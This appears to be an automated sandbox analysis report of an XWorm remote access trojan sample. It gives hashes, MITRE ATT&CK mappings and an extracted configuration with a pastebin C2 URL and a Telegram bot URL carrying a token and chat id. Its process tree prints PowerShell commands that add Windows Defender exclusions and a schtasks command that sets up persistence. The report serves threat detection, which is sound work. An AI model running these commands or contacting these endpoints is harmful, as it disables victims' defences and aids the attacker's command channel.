xworm | 880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a

General

Target

880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe
Size

41KB
MD5

0897b11d95ee6b03e0aa842a221983c9
SHA1

b1bd0eb1d20bd70706f3a19707719fad18aa4365
SHA256

880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a
SHA512

39bdcf88660ee14a0c6b3b6d2402991ab80bbfa05b526cd6d5b10c035a6ebf63b349b3f2c9532f048301f8415c2bbed57bc0f4409273fe8ec2014a63dbd9dc72
SSDEEP

768:f2jIdDG5gT9kyOz8me4jl2QX/p3/FWPG9sq96OOwhfQiXdf:+jIdDG5Dxzleyl2QRFv9sC6OOwRxXp

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

md2hTRMYBpbXprs1

Attributes

Install_directory
%AppData%
install_file
Steam.exe
pastebin_url
https://pastebin.com/raw/Pit7WkAV
telegram
https://api.telegram.org/bot7494729704:AAGLY8mnPxkjjCvoEz520yCBT4GLhlnhRaI/sendMessage?chat_id=7222032715

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/memory/4104-1-0x0000000000D60000-0x0000000000D70000-memory.dmp	family_xworm
behavioral2/files/0x000b00000002341b-57.dat	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2088	powershell.exe
1524	powershell.exe
3228	powershell.exe
2396	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Steam.lnk	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Steam.lnk	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe

Executes dropped EXE 3 IoCs

pid	Process
4336	Steam.exe
1880	Steam.exe
628	Steam.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Roaming\\Steam.exe"	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
14	pastebin.com
15	pastebin.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2196	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2088	powershell.exe
2088	powershell.exe
1524	powershell.exe
1524	powershell.exe
3228	powershell.exe
3228	powershell.exe
2396	powershell.exe
2396	powershell.exe
4104	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	4104	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeDebugPrivilege	3228	powershell.exe
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeDebugPrivilege	4104	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe
Token: SeDebugPrivilege	4336	Steam.exe
Token: SeDebugPrivilege	1880	Steam.exe
Token: SeDebugPrivilege	628	Steam.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4104	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4104 wrote to memory of 2088	4104	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe	84
PID 4104 wrote to memory of 2088	4104	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe	84
PID 4104 wrote to memory of 1524	4104	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe	88
PID 4104 wrote to memory of 1524	4104	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe	88
PID 4104 wrote to memory of 3228	4104	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe	90
PID 4104 wrote to memory of 3228	4104	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe	90
PID 4104 wrote to memory of 2396	4104	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe	92
PID 4104 wrote to memory of 2396	4104	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe	92
PID 4104 wrote to memory of 2196	4104	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe	95
PID 4104 wrote to memory of 2196	4104	880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe
"C:\Users\Admin\AppData\Local\Temp\880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Steam.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Steam.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2396
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Steam" /tr "C:\Users\Admin\AppData\Roaming\Steam.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2196

C:\Users\Admin\AppData\Roaming\Steam.exe
C:\Users\Admin\AppData\Roaming\Steam.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4336

C:\Users\Admin\AppData\Roaming\Steam.exe
C:\Users\Admin\AppData\Roaming\Steam.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1880

C:\Users\Admin\AppData\Roaming\Steam.exe
C:\Users\Admin\AppData\Roaming\Steam.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Steam.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
da5c82b0e070047f7377042d08093ff4

SHA1
89d05987cd60828cca516c5c40c18935c35e8bd3

SHA256
77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5

SHA512
7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3b444d3f0ddea49d84cc7b3972abe0e6

SHA1
0a896b3808e68d5d72c2655621f43b0b2c65ae02

SHA256
ab075b491d20c6f66c7bd40b57538c1cfdaab5aac4715bfe3bbc7f4745860a74

SHA512
eb0ab5d68472ec42de4c9b6d84306d7bca3874be1d0ac572030a070f21a698432418068e1a6006ff88480be8c8f54c769dee74b2def403f734109dba7261f36b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aajriqp4.orj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Steam.exe

Filesize
41KB

MD5
0897b11d95ee6b03e0aa842a221983c9

SHA1
b1bd0eb1d20bd70706f3a19707719fad18aa4365

SHA256
880cb80d1d206d83854ee3e6a2ffd5d25a1d3acaa2aa1513842243af5fee233a

SHA512
39bdcf88660ee14a0c6b3b6d2402991ab80bbfa05b526cd6d5b10c035a6ebf63b349b3f2c9532f048301f8415c2bbed57bc0f4409273fe8ec2014a63dbd9dc72

Download Submit
memory/2088-12-0x00007FFDEB620000-0x00007FFDEC0E1000-memory.dmp

Filesize
10.8MB

Download
memory/2088-17-0x00007FFDEB620000-0x00007FFDEC0E1000-memory.dmp

Filesize
10.8MB

Download
memory/2088-14-0x00007FFDEB620000-0x00007FFDEC0E1000-memory.dmp

Filesize
10.8MB

Download
memory/2088-13-0x00007FFDEB620000-0x00007FFDEC0E1000-memory.dmp

Filesize
10.8MB

Download
memory/2088-2-0x00000219A1DA0000-0x00000219A1DC2000-memory.dmp

Filesize
136KB

Download
memory/4104-0-0x00007FFDEB623000-0x00007FFDEB625000-memory.dmp

Filesize
8KB

Download
memory/4104-56-0x00007FFDEB620000-0x00007FFDEC0E1000-memory.dmp

Filesize
10.8MB

Download
memory/4104-59-0x00007FFDEB620000-0x00007FFDEC0E1000-memory.dmp

Filesize
10.8MB

Download
memory/4104-1-0x0000000000D60000-0x0000000000D70000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads